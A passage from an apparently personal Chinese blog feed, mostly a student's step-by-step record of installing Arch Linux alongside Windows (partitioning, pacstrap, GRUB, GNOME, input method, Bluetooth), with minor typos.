src="https://bu.dusays.com/2023/12/10/65749eef3ca7a.png" alt="image-20231210010243291"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef047994.png" alt="image-20231210010256851"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef167816.png" alt="image-20231210010319277"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef295941.png" alt="image-20231210010329384"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef3a500e.png" alt="image-20231210010340302"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef4c3ddb.png" alt="image-20231210010351022"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef5bd9b6.png" alt="image-20231210010404302"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef6efa30.png" alt="image-20231210010413798"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef8418f4.png" alt="image-20231210010427125"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ef94908a.png" alt="image-20231210010435747"></p><p><img src="https://bu.dusays.com/2023/12/10/65749efae18b3.png" alt="image-20231210010449701"></p><p><img src="https://bu.dusays.com/2023/12/10/65749efc48d84.png" alt="image-20231210010500312"></p><p><img src="https://bu.dusays.com/2023/12/10/65749efd7770a.png" alt="image-20231210010511134"></p><p><img src="https://bu.dusays.com/2023/12/10/65749efeb8791.png" alt="image-20231210010520827"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;期末在即，为了复习同时也为下学期的密码学打下基础，我把&lt;em&gt;&lt;strong&gt;信息安全数学基础&lt;/strong&gt;&lt;/em&gt;这门课归纳了一下，</summary>
      
    
    
    
    <category term="专业课学习笔记" scheme="https://foreon.github.io/categories/%E4%B8%93%E4%B8%9A%E8%AF%BE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="大学课程学习" scheme="https://foreon.github.io/tags/%E5%A4%A7%E5%AD%A6%E8%AF%BE%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>安装Arch Linux的记录</title>
    <link href="https://foreon.github.io/posts/54882.html"/>
    <id>https://foreon.github.io/posts/54882.html</id>
    <published>2023-12-02T18:03:57.000Z</published>
    <updated>2023-12-09T17:08:01.663Z</updated>
    
    <content type="html"><![CDATA[<h1 id="安装Arch-Linux的记录"><a href="#安装Arch-Linux的记录" class="headerlink" title="安装Arch Linux的记录"></a>安装Arch Linux的记录</h1><p>第一次安装双系统，虽然是参考b站教程的，但还是很有成就感，故记录一下这个过程，顺便仔细学习一下各个命令的作用。</p><p>本文仅为学习记录，文末给出了参考来源，若有侵权请联系我删除🙏</p><h2 id="安装过程"><a href="#安装过程" class="headerlink" title="安装过程"></a>安装过程</h2><h3 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h3><ol><li>首先登录官网从国内镜像源下载arch linux系统镜像</li><li>下载rufus烧录arch linux镜像到U盘，默认设置就行</li></ol><p><img src="https://bu.dusays.com/2023/12/03/656b709c2e8c6.png" alt="image-20231202223105417"></p><ol start="3"><li>为arch linux分配磁盘空间，大概20G就够用</li></ol><p>​       我这里能压缩的磁盘空间很少，但这个盘还剩很多空间，于是我使用了傲梅分区助手</p><h3 id="设置网络"><a href="#设置网络" class="headerlink" title="设置网络"></a>设置网络</h3><p>重启进入bios,设置为从u盘启动，开始安装arch linux</p><p><img src="https://bu.dusays.com/2023/12/03/656b709d4c47d.png" alt="image-20231202224005368"></p><p><code>rfkill list</code>查看列表</p><p><img src="https://bu.dusays.com/2023/12/03/656b709e6785e.png" alt="image-20231202223727234"></p><p><code>rfkill unblock wifi</code>解除wifi锁定</p><p><code>ip link</code>查看网卡，一般网卡名为wlan0</p><p><code>ip link set wlan0 up</code>启用网卡</p><blockquote><p>ip link set DEVICE  { up | down | arp { on | off } | name NEWNAME | address LLADDR }<br>选项说明：<br>dev DEVICE：指定要操作的设备名<br>up and down：启动或停用该设备<br>arp on or arp off：启用或禁用该设备的arp协议<br>name NAME：修改指定设备的名称，建议不要在该接口处于运行状态或已分配IP地址时重命名<br>address LLADDRESS：设置指定接口的MAC地址</p></blockquote><p>连接wifi </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">iwctl   <span class="comment">//在 Linux 中，&quot;ctl&quot; 通常代表 &quot;control&quot; 或 &quot;controller&quot;。例如，在 SysV 初始化系统中，/etc/init.d 目录下的脚本通常以 &quot;ctl&quot; 作为后缀，表示它们是用于控制系统服务的控制器。此外，在某些驱动程序中，CTL 可能代表 &quot;control&quot;，表示该驱动程序控制某个设备的操作。</span></span><br><span class="line">station wlan0 scan</span><br><span class="line">    </span><br><span class="line">station wlan0 get-networks</span><br><span class="line">    </span><br><span class="line">station wlan0 connect [wifi名字] <span class="comment">//这里有个小技巧，如果遇到中文乱码，可以打出前面的非中文字符，再按下Tab匹配</span></span><br><span class="line"><span class="comment">//接着输入密码</span></span><br><span class="line"><span class="built_in">exit</span></span><br><span class="line">    </span><br><span class="line">ping baidu.com   <span class="comment">//检查网络是否正常</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b709fb81ee.png" alt="image-20231202224913623"></p><h3 id="设置时间同步"><a href="#设置时间同步" class="headerlink" title="设置时间同步"></a>设置时间同步</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">timedatectl <span class="built_in">set</span>-ntp <span class="literal">true</span> <span class="comment">//开启ntp时间同步</span></span><br><span class="line">    </span><br><span class="line">timedatectl status</span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70a0eddb4.png" alt="image-20231202225330770"></p><h3 id="分配磁盘空间"><a href="#分配磁盘空间" class="headerlink" title="分配磁盘空间"></a>分配磁盘空间</h3><figure class="highlight c#"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fdisk -l  <span class="comment">//查看磁盘状态</span></span><br><span class="line">    </span><br><span class="line">fdisk /dev/nvme...n.... <span class="comment">//nvme...n....  由图为刚刚为arch linux分配空间的磁盘</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70a1e1af0.png" alt="image-20231202225956849">      <img src="https://bu.dusays.com/2023/12/03/656b70a3547a5.png" alt="image-20231202225904146" style="zoom:150%;" /></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//p 查看布局</span></span><br><span class="line"><span class="comment">//n 新建分区</span></span><br><span class="line">n</span><br><span class="line"><span class="number">7</span>  <span class="comment">//这里给出为linux的交换分区给出空间的磁盘的序号</span></span><br><span class="line">+<span class="number">4</span>G <span class="comment">//这里建立linux的交换分区，大小为4GB</span></span><br><span class="line">n</span><br><span class="line"><span class="comment">//直接回车表示把剩余默认空间都给linux的根分区</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70a468a2f.png" alt="image-20231202231143106"></p><blockquote><p>UEFI是指主板的引导启动方式</p><p>GPT是硬盘的分区模式</p><p>EFI是GPT硬盘分区模式中的系统启动分区</p><p>EFI分区全称是EFI system partition，一般简写成EFI分区或者ESP分区</p></blockquote><p><strong>EFI分区是用来引导系统启动的</strong></p><p>分配好的空间如图</p><p><img src="https://bu.dusays.com/2023/12/03/656b70a5d0950.png" alt="image-20231202231551277"></p><h3 id="分区格式化"><a href="#分区格式化" class="headerlink" title="分区格式化"></a>分区格式化</h3><blockquote><p>创建好的分区必须格式化为一种文件系统，Linux 上常见的文件系统有 ext4，btrfs，xfs 等。建议第一次安装的读者使用 ext4 文件系统。btrfs 提供子卷、写时复制、压缩、快照等高级功能，适合更加熟练的用户。</p></blockquote><p>mkfs命令</p><p><img src="https://bu.dusays.com/2023/12/03/656b70a6c1bbf.png" alt="image-20231202231817070"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkfs.btrfs /dev/nvme...n..<span class="number">.1</span>  <span class="comment">//将根目录分区格式化为btrfs文件系统</span></span><br><span class="line">    </span><br><span class="line">mkswap /dev/nvme...n..<span class="number">.2</span> <span class="comment">//对交换分区进行操作，mkswap命令用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小，但是这个参数是为了向后兼容设置的，没有使用的必要，一般都将整个文件或者设备作为交换区。</span></span><br><span class="line">swapon /dev/nvme...n..<span class="number">.2</span>  </span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70a7c239e.png" alt="image-20231202232822725"></p><h3 id="挂载分区"><a href="#挂载分区" class="headerlink" title="挂载分区"></a>挂载分区</h3><blockquote><p>mount命令的功能是将文件系统挂载到目录</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">fdisk -l</span><br><span class="line">    </span><br><span class="line">mount /dev/nvme1n.... /mnt <span class="comment">//将根分区挂载</span></span><br><span class="line">    </span><br><span class="line">mkdir /mnt/boot <span class="comment">//根目录下生成文件夹boot</span></span><br><span class="line">    </span><br><span class="line">mount dev/nvme0n.... /mnt/boot <span class="comment">//将引导分区挂载到/mnt/boot下</span></span><br><span class="line">    </span><br><span class="line"><span class="comment">//mnt - 此目录主要是作为挂载点使用。通常包括系统引导后被挂载的文件系统的挂载点。如挂载Windows下的某个分区。</span></span><br></pre></td></tr></table></figure><p><em><strong>最终的布局</strong></em></p><p><img src="https://bu.dusays.com/2023/12/03/656b70a8ebac8.png"></p><p>从上到下分别是 <em><strong>引导分区、根分区、交换分区</strong></em></p><blockquote><p>Linux分区和挂载是Linux系统管理硬盘的两个重要概念。分区是将硬盘划分为不同的逻辑区域，以便存储不同类型的数据和文件。挂载是将一个分区与一个目录联系起来，使得该目录可以访问该分区中的数据和文件。<br>linux为什么要挂载？ 如果硬盘是一片空地，那么分区和挂载就是把一片空地建成不同的房间（分区），每个房间存放不同类型的货物，再把房间的钥匙发给使用这个房间里的货物的人（挂载）。如果不挂载，那么人要使用某个货物时，就会因为没有钥匙而无法使用这个货物。<br>为什么不直接访问&#x2F;dev目录？ 直接访问&#x2F;dev目录，就相当于把房间都拆了，直接从空地上寻找需要的货物，这不方便，也不安全（空地货物可能会被弄乱）<br>Linux分区和挂载有以下几个用途：<br>提高系统的安全性。没有挂载的分区是无法访问的，这样可以防止恶意用户或程序对系统造成破坏。<br>提高系统的效率。通过合理地划分和挂载分区，可以减少系统维护文件的规模，提高磁盘空间的利用率和读写速度。<br>适应多用户操作系统。Linux是一个多用户操作系统，不同用户可能有不同的权限和需求。通过分区和挂载，可以实现对用户空间、临时文件、日志文件等的隔离和管理。</p></blockquote><p><img src="https://bu.dusays.com/2023/12/03/656b70aa9470c.jpeg" alt="img"></p><h3 id="选择软件镜像源"><a href="#选择软件镜像源" class="headerlink" title="选择软件镜像源"></a>选择软件镜像源</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nano /etc/pacman.d/mirrorlist <span class="comment">//手动添加镜像</span></span><br><span class="line">    </span><br><span class="line">Server =https:<span class="comment">//mirrors.ustc.edu.cn/archlinux/$repo/os/$arch</span></span><br><span class="line">Server =......</span><br><span class="line"><span class="comment">//ctrl+x保存退出</span></span><br><span class="line">    </span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70ac2437e.png" alt="image-20231202235356804"></p><blockquote><p>在 Arch Linux 中，软件仓库就好比手机中的应用商店，软件包是通过软件仓库进行分发的。软件仓库镜像是软件仓库的复制品，同一个软件仓库可以在世界各地建立软件仓库镜像，以便于不同地区的用户下载。因此选择一个合适的软件仓库镜像对于您更新软件包数据库以及下载软件包的速度有很大影响。</p></blockquote><p>pacman命令</p><p><img src="https://bu.dusays.com/2023/12/03/656b70ad3a55b.png" alt="image-20231202235029820"></p><p>nano编辑器</p><p><img src="https://bu.dusays.com/2023/12/03/656b70ae23968.png" alt="image-20231202234934124">、</p><h3 id="安装基础包"><a href="#安装基础包" class="headerlink" title="安装基础包"></a>安装基础包</h3><blockquote><p>我们使用 pacstrap 安装 base，linux，linux-firmware 三个软件包，它们分别是基础包组，linux 内核和驱动程序。此外，如果您使用 2019 年及以后生产的笔记本电脑，可能需要安装 sof-firmware，否则可能没有声音[<a href="https://zhuanlan.zhihu.com/p/596227524#ref_23">23]</a>。</p><p>Arch linux 官方提供了 linux，linux-lts，linux-zen，linux-hardened 内核[<a href="https://zhuanlan.zhihu.com/p/596227524#ref_24">24]</a>，但是对于初学者，只推荐使用 linux 内核。</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pacstrap -K /mnt base base-devel linux linux-firmware sudo nano vim networkmanager intel-ucode</span><br><span class="line"><span class="comment">//安装base,base-devel,linux,linux-firmware,sudo,nano,vim,networkmanager,intel-ucode</span></span><br><span class="line"><span class="comment">//intel-ucode是CPU微码，用于intel的cpu固件更新？？？这里我不确定(</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70af5cf73.png" alt="image-20231202235643268"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pacman -Sy archlinux-keyring <span class="comment">//如若报错则需更新keyring</span></span><br><span class="line">    </span><br><span class="line">pacstrap -K /mnt base base-devel linux linux-firmware sudo nano vim networkmanager intel-ucode <span class="comment">//然后重新安装</span></span><br></pre></td></tr></table></figure><p>fstab是一个系统文件，决定了系统启动时如何自动挂载分区。没有 fstab，系统将找不到根分区，从而无法启动。fstab 有一定的格式，我们用一个例子说明 fstab 文件的格式。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">genfstab -U/mnt &gt;&gt; /mnt/ect/fstab  </span><br></pre></td></tr></table></figure><p>其中“genfstab -U &#x2F;mnt”是以 UUID 的描述方式生成 fstab，“&gt;&gt;” 的意思是，将输出结果附加在后面的文件之后。</p><p><img src="https://bu.dusays.com/2023/12/03/656b70b02dfd4.png" alt="image-20231203000926638"></p><p>生成完成后，记得使用 cat 命令打印文件内容，仔细检查一遍。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /mnt/etc/fstab</span><br></pre></td></tr></table></figure><h3 id="使用chroot"><a href="#使用chroot" class="headerlink" title="使用chroot"></a>使用chroot</h3><p>使用chroot切换到安装的新系统</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arch-chroot /mnt</span><br></pre></td></tr></table></figure><p>这里我顿悟了，之前的根目录在&#x2F;mnt下，这里chroot直接把根目录移动回系统&#x2F;下，&#x2F;mnt相当于完成汉诺塔的倒数第二步</p><p>chroot命令</p><p><img src="https://bu.dusays.com/2023/12/03/656b70b1432ba.png" alt="image-20231203001312188"></p><h3 id="设置时区"><a href="#设置时区" class="headerlink" title="设置时区"></a>设置时区</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime <span class="comment">//设置上海时间</span></span><br><span class="line">    </span><br><span class="line">hwclock --systohc <span class="comment">//设置硬件时间</span></span><br></pre></td></tr></table></figure><p>ln命令   </p><p><img src="https://bu.dusays.com/2023/12/03/656b70b259d6d.png" alt="image-20231203001502785"></p><p>hwclock命令</p><p><img src="https://bu.dusays.com/2023/12/03/656b70b39a481.png" alt="image-20231203001608909"></p><h3 id="本地化"><a href="#本地化" class="headerlink" title="本地化"></a>本地化</h3><blockquote><p>我们将设置 locale、终端键盘布局和字体。locale 决定了系统的语言和格式，包括终端显示哪种语言，数字、时间和货币以哪国的格式显示等等。</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">nano /etc/locale.gen</span><br><span class="line"><span class="comment">//取消en_US.UTF-8 和zh_CN.UTF-8前的注释</span></span><br><span class="line">locale-gen <span class="comment">//生成locale</span></span><br></pre></td></tr></table></figure><img src="https://bu.dusays.com/2023/12/03/656b70b4a7751.png" alt="image-20231203004524408" style="zoom: 200%;" /><p><img src="https://bu.dusays.com/2023/12/03/656b70b5ab949.png" alt="image-20231203004557543"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nano /etc/locale.conf <span class="comment">//修改locale.conf文件</span></span><br><span class="line"><span class="comment">//输入LANG=en_US.UTF-8，ctrl+x保存</span></span><br></pre></td></tr></table></figure><img src="https://bu.dusays.com/2023/12/03/656b70b67a922.png" alt="image-20231203004942416" style="zoom:200%;" /><h3 id="确定系统名和网络管理系统配置"><a href="#确定系统名和网络管理系统配置" class="headerlink" title="确定系统名和网络管理系统配置"></a>确定系统名和网络管理系统配置</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nano /etc/hostname</span><br><span class="line">//输入archlinux，确定系统名</span><br><span class="line">systemctl enable NetworkManager//注意大小写</span><br><span class="line">//使用 systemd 设置 NetworkManager 开机自动启动</span><br></pre></td></tr></table></figure><h3 id="设置root密码"><a href="#设置root密码" class="headerlink" title="设置root密码"></a>设置root密码</h3><blockquote><p>root 用户是 Linux 系统中权限最高的用户，有些敏感的操作必须通过 root 用户进行，比如使用 pacman。我们之前进行所有的操作也都是以 root 用户进行的。也正是因为 root 的权限过高，如果使用不当会造成安全问题，所以我们在下一篇文章中会新建一个普通用户来进行日常的操作。在这里我们需要为 root 用户设置一个密码。</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">passwd</span><br><span class="line"><span class="comment">//输入密码，这里不会显示已经输入的密码</span></span><br><span class="line"><span class="comment">//再次输入密码</span></span><br></pre></td></tr></table></figure><img src="https://bu.dusays.com/2023/12/03/656b70b77dbc6.png" alt="image-20231203005458592" style="zoom:200%;" /><h3 id="新建普通用户"><a href="#新建普通用户" class="headerlink" title="新建普通用户"></a>新建普通用户</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">useradd -m -G wheel -s /bin/bash [username] <span class="comment">//将用户添加到wheel组，root也在wheel组</span></span><br><span class="line">    </span><br><span class="line">passwd [username]</span><br><span class="line"><span class="comment">//输入密码并重复输入确定</span></span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70b863b2a.png" alt="image-20231203005911850"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">visudo <span class="comment">//打开/etc/sudoers文件进行编辑设置sudo</span></span><br><span class="line"><span class="comment">//这里使用传统vim编辑器，按i进入编辑模式，按esc退出编辑模式，输入:wq退出保存</span></span><br><span class="line"><span class="comment">//取消%wheel ALL前的注释</span></span><br></pre></td></tr></table></figure><img src="https://bu.dusays.com/2023/12/03/656b70b980409.png" alt="image-20231203010135452" style="zoom:200%;" /><p>这里的意思是让wheel组下的所有用户都能免去输入密码使用sudo权限</p><p>sudo权限</p><p><img src="https://bu.dusays.com/2023/12/03/656b70ba68548.png" alt="image-20231203010514566"></p><h3 id="Grub安装"><a href="#Grub安装" class="headerlink" title="Grub安装"></a>Grub安装</h3><blockquote><h2 id="GRUB-是什么？"><a href="#GRUB-是什么？" class="headerlink" title="GRUB 是什么？"></a>GRUB 是什么？</h2><p><a href="https://link.zhihu.com/?target=https://www.gnu.org/software/grub/">GRUB</a> 是一个用于加载和管理系统启动的完整程序。它是 Linux 发行版中最常见的*引导程序(bootloader)*。引导程序是计算机启动时运行的第一个软件。它加载 <a href="https://link.zhihu.com/?target=https://itsfoss.com/what-is-linux/">操作系统的内核</a>，然后再由内核初始化操作系统的其他部分（包括 Shell、<a href="https://link.zhihu.com/?target=https://linux.cn/article-12773-1.html">显示管理器</a>、<a href="https://link.zhihu.com/?target=https://linux.cn/article-12579-1.html">桌面环境</a> 等等）。</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pacman -S grub efibootmgr os-prober <span class="comment">//安装系统探测器</span></span><br><span class="line">    </span><br><span class="line">nano /etc/<span class="keyword">default</span>/grub</span><br></pre></td></tr></table></figure><p><strong>新版grub默认禁用os-prober,需要手动启用</strong></p><img src="https://bu.dusays.com/2023/12/03/656b70bb87859.png" alt="image-20231203011100286" style="zoom:200%;" /><p>去掉GRUB_DISABLE前面的注释</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB <span class="comment">//安装Grub</span></span><br><span class="line">    </span><br><span class="line">grub-mkconfig -o /boot/grub/grub.cfg <span class="comment">//生成Grub配置</span></span><br></pre></td></tr></table></figure><h3 id="手动添加Windows启动项"><a href="#手动添加Windows启动项" class="headerlink" title="手动添加Windows启动项"></a>手动添加Windows启动项</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">blkid /dev/nvme0n......  <span class="comment">//查看引导分区信息</span></span><br></pre></td></tr></table></figure><p>blkid命令</p><p><img src="https://bu.dusays.com/2023/12/03/656b70bc6a924.png" alt="image-20231203011827063">记录下UUID后面的数字</p><img src="https://bu.dusays.com/2023/12/03/656b70bd59e1a.png" alt="image-20231203011909438" style="zoom:200%;" /><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nano/boot/grub/grub.cfg</span><br></pre></td></tr></table></figure><p>有概率os-prober无法探测到windows,需要手动添加windows启动项</p><p><img src="https://bu.dusays.com/2023/12/03/656b70beecb78.png" alt="image-20231203012234078"></p><p><strong>输入红框中的内容，红圈中的内容为刚刚记下来的数字</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exit</span> <span class="comment">//保存后退出</span></span><br><span class="line">    </span><br><span class="line">umount -R /mnt <span class="comment">// /mnt完成了它的使命，把它卸载掉</span></span><br><span class="line">    </span><br><span class="line">reboot <span class="comment">//重启查看能否正常启动Windows</span></span><br></pre></td></tr></table></figure><h3 id="进入Arch-Linux美化"><a href="#进入Arch-Linux美化" class="headerlink" title="进入Arch Linux美化"></a>进入Arch Linux美化</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root <span class="comment">//输入密码登录root账户</span></span><br></pre></td></tr></table></figure><p>重复之前的联网操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">rfkill unblock wifi</span><br><span class="line"></span><br><span class="line">ip link</span><br><span class="line"></span><br><span class="line">ip link set wlan0 up</span><br><span class="line"></span><br><span class="line">iwctl </span><br><span class="line"></span><br><span class="line">station wlan0 scan</span><br><span class="line"></span><br><span class="line">station wlan0 get-networks</span><br><span class="line"></span><br><span class="line">station wlan0 connect [wifi名字]</span><br><span class="line"></span><br><span class="line">exit</span><br><span class="line"></span><br><span class="line">ping baidu.com </span><br></pre></td></tr></table></figure><h4 id="安装Gnome桌面"><a href="#安装Gnome桌面" class="headerlink" title="安装Gnome桌面"></a>安装Gnome桌面</h4><blockquote><p>GNOME是一个<strong>自由开源的桌面环境</strong>，是 Linux 操作系统中最常用的桌面环境之一。 GNOME的目标是为 Linux 系统提供现代、易用的桌面环境，以提高用户的体验和生产力。 它提供了一个用户友好的界面和许多常用的应用程序，如文件管理器、文本编辑器、终端、图形 图像处理 程序</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S gnome gnome-tweaks <span class="comment">//然后一路回车</span></span><br></pre></td></tr></table></figure><h4 id="安装相应的显卡驱动"><a href="#安装相应的显卡驱动" class="headerlink" title="安装相应的显卡驱动"></a>安装相应的显卡驱动</h4><p><strong>注意这里只要安装集显驱动而不要安装英伟达驱动，原因是arch linux可能检测不到</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S mesa xf86-video-b</span><br></pre></td></tr></table></figure><p><img src="https://bu.dusays.com/2023/12/03/656b70c0780b3.png" alt="image-20231203014043573"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable gdm</span><br></pre></td></tr></table></figure><blockquote><p>GDM (The GNOME Display Manager)是GNOME显示环境的管理器，并被用来替代原来的X Display Manager</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reboot </span><br></pre></td></tr></table></figure><p>于是就进入gnome桌面了</p><h4 id="下载软件"><a href="#下载软件" class="headerlink" title="下载软件"></a>下载软件</h4><p>下载fcirx输入法、浏览器等必要软件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -S git ntfs-3g wqy-zenhei firefox fcitx5-im fcitx5-chinese-addons</span><br></pre></td></tr></table></figure><blockquote><p>&#x2F;etc&#x2F;environment是设置整个系统的环境，而&#x2F;etc&#x2F;profile是设置所有用户的环境，前者与登录用户无关，后者与登录用户有关。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo nano /etc/environment</span><br></pre></td></tr></table></figure><p>输入：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">GTK_IM_MODULE=fcitx</span><br><span class="line"></span><br><span class="line">QT_IM_MODULE=fcitx</span><br><span class="line"></span><br><span class="line">XMODIFIERS=@im=fcitx</span><br><span class="line"></span><br><span class="line">SDL_IM_MODULE=fcitx</span><br><span class="line"></span><br><span class="line">GLFW_IM_MODULE=ibus</span><br></pre></td></tr></table></figure><img src="https://bu.dusays.com/2023/12/03/656b70c17dd35.png" alt="image-20231203014725348" style="zoom: 200%;" /><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reboot</span><br></pre></td></tr></table></figure><p>设置中文输入法</p><img src="https://bu.dusays.com/2023/12/03/656b70c28133b.png" alt="image-20231203015046687" style="zoom:200%;" /><p>注意这个输入法是用<em><strong>ctrl+空格</strong></em>启用的</p><h4 id="设置蓝牙连接"><a href="#设置蓝牙连接" class="headerlink" title="设置蓝牙连接"></a>设置蓝牙连接</h4><p>安装蓝牙模块并启动蓝牙服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -S bluez bluez-utils</span><br><span class="line">sudo systemctl enable bluetooth.service</span><br><span class="line">sudo systemctl start bluetooth.service</span><br></pre></td></tr></table></figure><p>Bluez是Linux系统上的蓝牙协议栈，自带了很多有用的工具，Bluetoothctl就是其一</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 